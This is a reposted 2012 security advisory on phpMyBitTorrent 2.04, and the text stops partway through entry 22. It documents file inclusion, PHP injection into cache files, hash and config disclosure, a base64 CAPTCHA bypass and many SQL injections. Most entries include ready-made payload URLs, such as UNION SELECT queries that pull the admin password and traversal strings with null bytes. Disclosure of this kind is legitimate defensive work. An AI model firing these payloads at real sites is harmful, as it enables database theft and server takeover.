发布 2012-10-04 漏洞条目

phpMyBitTorrent 2.04 – Multiple Vulnerabilities

Exploit Source

[waraxe-2012-SA#091] - Multiple Vulnerabilities in phpMyBitTorrent 2.04

===============================================================================

Author: Janek Vind "waraxe"

Date: 01. October 2012

Location: Estonia, Tartu

Web: http://www.waraxe.us/advisory-91.html

Description of vulnerable target:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpMyBitTorrent is the brand new Open Source solution for BitTorrent

communities! phpMyBitTorrent is all written in PHP, uses the popular MySQL

database and support every BitTorrent protocol extension.

https://www.phpmybittorrent.com/

http://sourceforge.net/projects/phpmybittorrent/

###############################################################################

1. Local File Inclusion in "include/config.php"

###############################################################################

Reasons: insufficient sanitization of user-supplied data

Attack vectors:

1. user-supplied cookie parameters "bttheme" and "btlanguage"

2. user-supplied parameter "theme_change"

Preconditions:

1. magic_quotes_gpc=off

2. PHP must be < 5.3.4 for null-byte attacks to work

PHP script "include/config.php" line 56:

------------------------[ source code start ]----------------------------------

if (!isset($_COOKIE["bttheme"])) $bttheme = "";

if (!isset($_COOKIE["btlanguage"])) $btlanguage = "";

...

if (isset($btlanguage) AND is_readable("language/".$btlanguage.".php"))

$language = $btlanguage;

if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php"))

$theme = $bttheme;

...

if (file_exists("./language/".$language.".php"))

require_once("./language/".$language.".php");

...

if (file_exists("./themes/".$theme."/main.php")) {

require_once("./themes/".$theme."/main.php");

------------------------[ source code end ]------------------------------------

Test cookies:

bttheme=../avatars/user/waraxe.jpg%00z;

btlanguage=../avatars/user/waraxe.jpg%00z;

PHP script "include/config.php" line 199:

------------------------[ source code start ]----------------------------------

if (isset($theme_change)){

$bttheme = $theme_change;

...

if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php")) $theme =

$bttheme;

...

if (file_exists("./themes/".$theme."/main.php")) {

require_once("./themes/".$theme."/main.php");

------------------------[ source code end ]------------------------------------

Test:

http://pmbt//?theme_change=../avatars/user/waraxe.jpg%00z

###############################################################################

2. Insecure cache file handling in "blocks/newestmember_block.php"

###############################################################################

Reasons:

1. unrestricted direct access to the cache file

2. uninitialized variable "$newestmemberrecords"

Attack vector: user-supplied parameter "newestmemberrecords"

Preconditions: none

Result:

1. last 5 registered users credentials leakage

2. attacker is able to inject php code to the cache file

PHP script "blocks/newestmember_block.php" line 35:

------------------------[ source code start ]----------------------------------

$file = "cache/cache_newestmemberblock.txt";

$expire = 60; // time in seconds

if (file_exists($file) &&

filemtime($file) > (time() - $expire)) {

$newestmemberrecords = unserialize(file_get_contents($file));

}else{

$newestmemberquery = $db->sql_query("SELECT * FROM ".$db_prefix."_users

WHERE active = 1 AND ban ='0' ORDER BY id DESC LIMIT 5");

while ($newestmemberrecord = $db->sql_fetchrow($newestmemberquery) ) {

$newestmemberrecords[] = $newestmemberrecord;

}

$OUTPUT = serialize($newestmemberrecords);

$fp = fopen($file,"w");

fputs($fp, $OUTPUT);

fclose($fp);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/cache/cache_newestmemberblock.txt

Result:

-------------------------[ result start ]--------------------------------------

a:1:{i:0;a:116:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:6:"waraxe";

...

s:8:"password";s:32:"123456789123456789123456789abcde";

-------------------------[ result end ]----------------------------------------

As result, anyone can obtain usernames and hashed passwords of last 5 registered

users and then try to crack md5 hashes or forge session cookies, resulting in

account overtaking. Additionally it is possible to inject arbitrary data to the

cache file, including php code:

http://pmbt/?newestmemberrecords[][username]=war<?php+phpinfo();?>axe

After that let's look at cache file:

http://pmbt/cache/cache_newestmemberblock.txt

Result:

-------------------------[ result start ]--------------------------------------

a:2:{i:0;a:1:{s:8:"username";s:24:"war<?php phpinfo();?>axe";}

-------------------------[ result end ]----------------------------------------

Attacker can combine php code injection to cache file with Local File Inclusion

vulnerabilities and obtain PHP-level access to remote system.

###############################################################################

3. Insecure cache file handling in "staff.php"

###############################################################################

Reason: uninitialized variable "$staff_table"

Attack vector: user-supplied parameter "staff_table"

Preconditions: none

Result: attacker is able to inject php code to the cache file

PHP script "staff.php" line 38:

------------------------[ source code start ]----------------------------------

$cache_file = "cache/staff.txt";

...

$staff_table[ $arr['level'] ] = $staff_table[ $arr['level'] ]

...

$fp = fopen($cache_file, 'w');

fwrite($fp, serialize($staff_table));

fclose($fp);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/staff.php?staff_table[]=<?php+phpinfo();?>

Result:

http://pmbt/cache/staff.txt

-------------------------[ result start ]--------------------------------------

a:2:{i:0;s:18:"<?php phpinfo();?>";s:5:"admin";s:325:"

-------------------------[ result end ]----------------------------------------

###############################################################################

4. Remote File Disclosure in "ajax.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "torrent"

Preconditions:

1. magic_quotes_gpc=off

2. PHP must be < 5.3.4 for null-byte attacks to work

Result: attacker can disclose the contents of arbitrary files

PHP script "ajax.php" line 1770:

------------------------[ source code start ]----------------------------------

case 'view_nfo_page':{

$nfo = "";

$nf = fopen("torrent/".$_GET['torrent'].".nfo","rb");

while (!feof($nf)) $nfo .= fread($nf,100);

fclose($nf);

OpenTable("NFO");

echo "<p class=\"nfo\">".nl2br(str_replace(" "," ",htmlentities($nfo)))

."</p>";

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=view_nfo_page&torrent=../include/configdata.php%00z

As result we can see various sensitive configuration data, including plaintext

database credentials.

###############################################################################

5. Insecure CAPTCHA implementation in "gfxgen.php"

###############################################################################

Reason: weak cryptography

Result: automated tools can bypass CAPTCHA restrictions

PHP script "gfxgen.php" line 34:

------------------------[ source code start ]----------------------------------

$code = base64_decode($_GET["code"]);

$image = ImageCreateFromJPEG("include/code_bg.jpg");

$text_color = ImageColorAllocate($image, 80, 80, 80);

Header("Content-type: image/jpeg");

ImageString ($image, 5, 12, 2, $code, $text_color);

ImageJPEG($image, '', 75);

ImageDestroy($image);

------------------------[ source code end ]------------------------------------

As we can see, reversible base64 encoding algorithm is used in default CAPTCHA

implementation. Let's look at login page with enabled CAPTCHA:

------------------------[ source code start ]----------------------------------

<p align="center">Security Code<br>

------------------------[ source code end ]------------------------------------

Parameter "code" has value "Q0k2RE8=" and after base64 decoding we have "CI6DO"

, so it's obvious, that current CAPTCHA impementation in phpMyBitTorrent is

completely useless.

###############################################################################

6. Multiple SQL Injections in "ajax.php"

###############################################################################

--># Case 1 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "username"

Preconditions:

1. magic_quotes_gpc=off

2. logged in as user

Result: attacker can manipulate database queries

PHP script "ajax.php" line 165:

------------------------[ source code start ]----------------------------------

case "check_username": {

if (!$user->user) loginrequired("user",true);

...

// check for that username

$sql = "SELECT COUNT(`id`) FROM `".$db_prefix."_users` WHERE `username`

= '".$_GET['username']."'";

$res = $db->sql_query($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=check_username&username=war'axe

--># Case 2 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameter "to"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 192:

------------------------[ source code start ]----------------------------------

case 'private__chat':{

...

$sql = "SELECT S.*, U.id as uid, U.can_do as can_do, U.donator AS donator,

U.warned as warned, U.level as level, IF(U.name IS NULL, U.username, U.name)

as user_name FROM ".$db_prefix."_shouts S LEFT JOIN ".$db_prefix."_users U ON

S.user = U.id WHERE S.id_to ='".$to."' AND S.user = '".$user->id."' OR

S.user='".$to."' AND S.id_to ='".$user->id."' ORDER BY posted DESC LIMIT

".$shout_config['shouts_to_show'].";";

$shoutres = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=private__chat&to=-1'UNION+SELECT+1,2,@@version,4,5,6,7,8,9,10,11%23

--># Case 3 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameter "shotuser"

Preconditions:

1. magic_quotes_gpc=off

2. logged in as user with shout privileges

Result: attacker can manipulate database queries

PHP script "ajax.php" line 368:

------------------------[ source code start ]----------------------------------

case 'view_shout':{

...

if(isset($shotuser)){

$privateonly = "WHERE S.id_to ='".$shotuser."' AND S.user =

'".$user->id."' OR S.id_to ='".$user->id."' AND S.user = '".$shotuser."'";

...

$sql = "SELECT S.*, U.id as uid, U.can_do as can_do, U.donator AS donator,

U.warned as warned, U.level as level, IF(U.name IS NULL, U.username, U.name)

as user_name FROM ".$db_prefix."_shouts S LEFT JOIN ".$db_prefix."_users U ON

S.user = U.id ".$privateonly." ORDER BY posted DESC LIMIT

".$shout_config['shouts_to_show'].";";

$shoutres = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=view_shout&shotuser='UNION+SELECT+1,2,@@version,4,0,6,7,8,9,10,11%23

--># Case 4 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "shout"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 513:

------------------------[ source code start ]----------------------------------

case 'take_delete_shout':{

$sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE

`id` = '".$_GET['shout']."'";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=take_delete_shout&shout=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe'' at line 1

--># Case 5 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "shout"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 528:

------------------------[ source code start ]----------------------------------

case 'take_delete_archive_shout':{

$sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE

`id` = '".$_GET['shout']."'";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=take_delete_archive_shout&shout=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe'' at line 1

--># Case 6 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "shout"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 550:

------------------------[ source code start ]----------------------------------

case 'take_edit_shout':{

...

$sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE

`id` = '".$_GET['shout']."'";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=take_edit_shout&shout=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe'' at line 1

--># Case 7 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "shout"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 572:

------------------------[ source code start ]----------------------------------

case 'take_edit_archive_shout':{

...

$sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE

`id` = '".$_GET['shout']."'";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=take_edit_archive_shout&shout=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe'' at line 1

--># Case 8 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "pass"

Preconditions:

1. magic_quotes_gpc=off

2. logged in as user

Result: attacker can manipulate database queries

PHP script "ajax.php" line 1116:

------------------------[ source code start ]----------------------------------

case 'view_peers_page':{

...

$sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id =

'".$_GET['torrent']."' AND (password IS NULL OR password =

'".$_GET["pass"]."') LIMIT 1;";

$res = $db->sql_query($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=view_peers_page&torrent=1&pass=war'axe

--># Case 9 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "pass"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "ajax.php" line 1286:

------------------------[ source code start ]----------------------------------

case 'view_files_page':{

...

$password= (isset($_GET["pass"]))? $_GET["pass"] : '';

...

$password = urldecode($password);

$sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id = '".$id."' AND

(password IS NULL OR password = '".$password."') LIMIT 1;";

$res = $db->sql_query($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=view_files_page&torrent=1&pass=war%2527axe

--># Case 10 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "torrent"

Preconditions:

1. magic_quotes_gpc=off

2. logged in as user

Result: attacker can manipulate database queries

PHP script "ajax.php" line 1340:

------------------------[ source code start ]----------------------------------

case 'view_rate_page':{

...

if ($_GET["owner"] != $user->id AND ($user->user)) {

$xres = $db->sql_query("SELECT rating, added FROM ".$db_prefix."_ratings WHERE

torrent = '".$_GET['torrent']."' AND user = '" . $user->id."'") or btsqlerror

...

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=view_rate_page&torrent=war'axe

--># Case 11 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "torrent"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 1476:

------------------------[ source code start ]----------------------------------

case 'view_details_page':{

...

$sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed

...

WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=view_details_page&torrent=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe' GROUP BY A.id

LIMIT 1' at line 1

--># Case 12 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "torrent"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 1783:

------------------------[ source code start ]----------------------------------

case 'view_details':{

...

$sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed

...

WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=view_details&torrent=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe' GROUP BY A.id

LIMIT 1' at line 1

--># Case 13 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "shout"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 2067:

------------------------[ source code start ]----------------------------------

case 'archivedeleteshout':{

$sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE

`id` = '".$_GET['shout']."'";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=archivedeleteshout&shout=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe'' at line 1

--># Case 14 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "torrent"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "ajax.php" line 2083:

------------------------[ source code start ]----------------------------------

case 'get_imdb':{

require ("imdb/imdb.class.php");

$sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed

...

WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=get_imdb&torrent=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe' GROUP BY A.id

LIMIT 1' at line 1

--># Case 15 #<--

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "search"

Preconditions:

1. magic_quotes_gpc=off

2. logged in as user

Result: attacker can manipulate database queries

PHP script "ajax.php" line 2207:

------------------------[ source code start ]----------------------------------

case 'member_search':{

...

if ( isset( $_GET['search'] ) && !empty( $_GET['search'] ) ){

$query = "username LIKE ('%$search%') AND active='1'";

...

$res = mysql_query("SELECT COUNT(*) FROM ".$db_prefix."_users WHERE $query")

or sqlerr();

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/ajax.php?op=member_search&search=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe%') AND active='1'

###############################################################################

7. SQL Injection in "backend.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameter "cat"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "backend.php" line 176:

------------------------[ source code start ]----------------------------------

case "category": {

...

$sql_cat = "SELECT name FROM ".$db_prefix."_categories

WHERE id = ".$cat."";

$res = $db->sql_query($sql_cat);

------------------------[ source code end ]------------------------------------

Tests:

http://pmbt/backend.php?op=category&cat=0+UNION+SELECT+@@version%23

http://pmbt/backend.php?op=category&cat=0+UNION+SELECT+password+FROM+

torrent_users+WHERE+id=1%23

###############################################################################

8. SQL Injection in "casino_player_edit.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameter "player"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "casino_player_edit.php" line 36:

------------------------[ source code start ]----------------------------------

$result = $db->sql_query("select * from ".$db_prefix."_casino where userid =

'".$player."'") or die(mysql_error());

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/casino_player_edit.php?player=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe'' at line 1

###############################################################################

9. SQL Injection in "deloffer.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied POST parameter "offerid"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "deloffer.php" line 34:

------------------------[ source code start ]----------------------------------

$id = $_POST["offerid"];

$res = $db->sql_query("SELECT userid, name from ".$db_prefix."_offers where

id=$id");

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

###############################################################################

10. SQL Injection in "edit.php"

###############################################################################

Reason:

1. insufficient sanitization of user-supplied data

2. uninitialized variable "$id"

Attack vector: user-supplied parameters "torrent_id" and "id"

Preconditions:

1. magic_quotes_gpc=off

2. logged in as user

Result: attacker can manipulate database queries

PHP script "edit.php" line 37:

------------------------[ source code start ]----------------------------------

if (isset($torrent_id)) $id = $torrent_id;

...

if (is_array($id))

{

foreach($id as $item)

{

$sql = "SELECT owner,name FROM ".$db_prefix."_torrents WHERE id = '".$item."';";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/edit.php?id[]=war'axe

http://pmbt/edit.php?torrent_id[]=war'axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe'' at line 1

###############################################################################

11. SQL Injection in "frame.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameter "password"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "frame.php" line 80:

------------------------[ source code start ]----------------------------------

case "filelist": {

if (!isset($id) OR !is_numeric($id) OR $id < 1) error(_bterridnotset);

$password = urldecode($password);

$sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id = '".$id."' AND

(password IS NULL OR password = '".$password."') LIMIT 1;";

$res = $db->sql_query($sql);

------------------------[ source code end ]------------------------------------

Tests:

http://pmbt/frame.php?op=filelist&id=1&password=war%2527axe

http://pmbt/frame.php?op=commentlist&id=1&password=war%2527axe

http://pmbt/frame.php?op=peerlist&id=1&password=war%2527axe

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe') LIMIT 1' at line 1

###############################################################################

12. SQL Injection in "helpdesk.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameters "title", "problem", "category" and

"priority"

Preconditions:

1. magic_quotes_gpc=off (for parameters "title", "problem" and "priority")

Result: attacker can manipulate database queries

PHP script "helpdesk.php" line 120:

------------------------[ source code start ]----------------------------------

$problem = (isset($_POST["problem"])) ? trim($_POST["problem"]) : false;

if ($op == "ticket" ){

...

$upd_sql = "INSERT INTO ".$db_prefix."_helpdesk (`uid`, `title`, `problem`,

`category`, `priority`, `open_date`) VALUES ('".$user->id."', '".$title."',

'".$problem."', ".$category.", '".$priority."', NOW())";

$db->sql_query($upd_sql) or btsqlerror($upd_sql);

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

Result:

Unknown column 'waraxe' in 'field list'

###############################################################################

13. SQL Injection in "hitruns.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied POST parameters "reset" and "warn"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "hitruns.php" line 94:

------------------------[ source code start ]----------------------------------

if (isset($_POST["reset"])) {

mysql_query("UPDATE ".$db_prefix."_snatched SET

hitrun = '0000-00-00 00:00:00', hitrunwarn = 'no' WHERE id

IN (".implode(", ", $_POST["reset"]).")") or sqlerr();

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

Result:

Unknown column 'waraxe' in 'field list'

PHP script "hitruns.php" line 101:

------------------------[ source code start ]----------------------------------

} elseif (isset($_POST["warn"])) {

$userids = $warnids = array();

$res = mysql_query("SELECT userid FROM ".$db_prefix."_snatched

WHERE id IN (".implode(", ", $_POST["warn"]).")") or sqlerr();

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

14. SQL Injection in "makepoll.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied POST parameters "pollid", "question", "option0",

"option1","option2","option3","option4","option5","option6","option7",

"option8","option9", "sort"

Preconditions:

1. magic_quotes_gpc=off (for parameters "question", "option0", "option1",

"option2","option3","option4","option5","option6","option7", "option8",

"option9", "sort")

Result: attacker can manipulate database queries

PHP script "makepoll.php" line 54:

------------------------[ source code start ]----------------------------------

$pollid = $_POST["pollid"];

$question = $_POST["question"];

$option0 = $_POST["option0"];

$option1 = $_POST["option1"];

$option2 = $_POST["option2"];

$option3 = $_POST["option3"];

$option4 = $_POST["option4"];

$option5 = $_POST["option5"];

$option6 = $_POST["option6"];

$option7 = $_POST["option7"];

$option8 = $_POST["option8"];

$option9 = $_POST["option9"];

$sort = $_POST["sort"];

$returnto = $_POST["returnto"];

if (!$question || !$option0 || !$option1)

bterror(_btpolls_missing,_bterror);

if ($pollid)

$db->sql_query("UPDATE ".$db_prefix."_polls SET " .

"question = '" . $question . "', " .

"option0 = '" . $option0 . "', " .

"option1 = '" . $option1 . "', " .

"option2 = '" . $option2 . "', " .

"option3 = '" . $option3 . "', " .

"option4 = '" . $option4 . "', " .

"option5 = '" . $option5 . "', " .

"option6 = '" . $option6 . "', " .

"option7 = '" . $option7 . "', " .

"option8 = '" . $option8 . "', " .

"option9 = '" . $option9 . "', " .

"sort = '" . $sort . "' " .

"WHERE id = $pollid") or die(mysql_error(__FILE__, __LINE__));

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

15. SQL Injection in "modrules.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "id"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "modrules.php" line 40:

------------------------[ source code start ]----------------------------------

$id = (isset($_GET["id"]))? $_GET["id"] : '';

...

$sql = "DELETE FROM ".$db_prefix."_rules WHERE id = $id ";

if (!$db->sql_query($sql)) btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/modrules.php?act=delete&id=waraxe

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

16. SQL Injection in "mybonus.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied POST parameter "option"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "mybonus.php" line 91:

------------------------[ source code start ]----------------------------------

if ($action == "exchange") {

...

$option = $_POST["option"];

...

$sql = ("SELECT * FROM ".$db_prefix."_bonus WHERE id='$option'");

$res = $db->sql_query($sql);

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

###############################################################################

17. SQL Injection in "problems.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameter "t"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "problems.php" line 62:

------------------------[ source code start ]----------------------------------

if(isset($_POST['delete']) AND $_POST['delete']=='Delete')

{

foreach($t as $tid=>$action)

{

$db->sql_query("DELETE FROM `".$db_prefix."_helpdesk` WHERE `id` = ".$tid."

LIMIT 1");

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

18. SQL Injection in "polls.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "pollid"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "polls.php" line 38:

------------------------[ source code start ]----------------------------------

$pollid = $_GET["pollid"];

...

$db->sql_query( "DELETE FROM ".$db_prefix."_pollanswers WHERE pollid = $pollid") or sqlerr();

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/polls.php?action=delete&sure=1&pollid=waraxe

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

19. SQL Injection in "scrape-external.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "tracker"

Preconditions:

1. logged in as user

2. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "scrape-external.php" line 34:

------------------------[ source code start ]----------------------------------

$url2 = $_GET["tracker"];

...

$sql = "SELECT url, support FROM ".$db_prefix."_trackers

WHERE url = '".$url2."' LIMIT 1;";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/scrape-external.php?id=1&tracker='UNION+SELECT+@@version,'1

###############################################################################

20. SQL Injection in "shoutboxarchive.php"

###############################################################################

Reason: uninitialized variable "$lookforcount"

Attack vector: user-supplied parameter "lookforcount"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "shoutboxarchive.php" line 77:

------------------------[ source code start ]----------------------------------

if(isset($search))

{

...

$lookforcount = $searchtime.$searchword.$uidsearch." AND ";

}

...

$totsql = "SELECT COUNT(*) as tot FROM ".$db_prefix."_shouts

WHERE ".$lookforcount."(id_to = '0' OR id_to = '".$user->id."');";

$totres = $db->sql_query($totsql)or btsqlerror($totsql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/shoutboxarchive.php?lookforcount=waraxe=1%23

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

21. SQL Injection in "slove.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameters "tid", "cid", "rid" and "id"

Preconditions:

1. magic_quotes_gpc=off (for parameters "cid", "rid" and "id")

Result: attacker can manipulate database queries

PHP script "slove.php" line 41:

------------------------[ source code start ]----------------------------------

$db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `category`

= '".$cid."' WHERE `".$db_prefix."_helpdesk`.`id` =".$tid." LIMIT 1 ;");

...

$db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `helper` = '$rid' WHERE

`".$db_prefix."_helpdesk`.`id` =".$tid." LIMIT 1 ;");

if(isset($trans_alert))$db->sql_query("INSERT INTO

".$db_prefix."_private_messages (sent, sender, recipient, subject, text)

VALUES (NOW(), 0, $rid, 'Help Desk', '$msg')") ;

...

$sql="SELECT * FROM ".$db_prefix."_helpdesk WHERE id='".$id."'";

$result=$db->sql_query($sql);

------------------------[ source code end ]------------------------------------

Tests:

http://pmbt/slove.php?cid=1&tid=waraxe

http://pmbt/slove.php?cid=war'axe&tid=1

http://pmbt/slove.php?tid=123&rid=war'axe

http://pmbt/slove.php?trans_alert=1&rid=war'axe

http://pmbt/slove.php?id=war'axe

###############################################################################

22. SQL Injection in "takehelpans.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameters "id" and "newstatus"

Preconditions:

1. magic_quotes_gpc=off (for parameter "newstatus")

Result: attacker can manipulate database queries

PHP script "takehelpans.php" line 34:

------------------------[ source code start ]----------------------------------

if(isset($reopen))

{

$db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `solved` = 'no' WHERE

`id` =".$id." LIMIT 1 ;");

...

if(isset($change_status)){

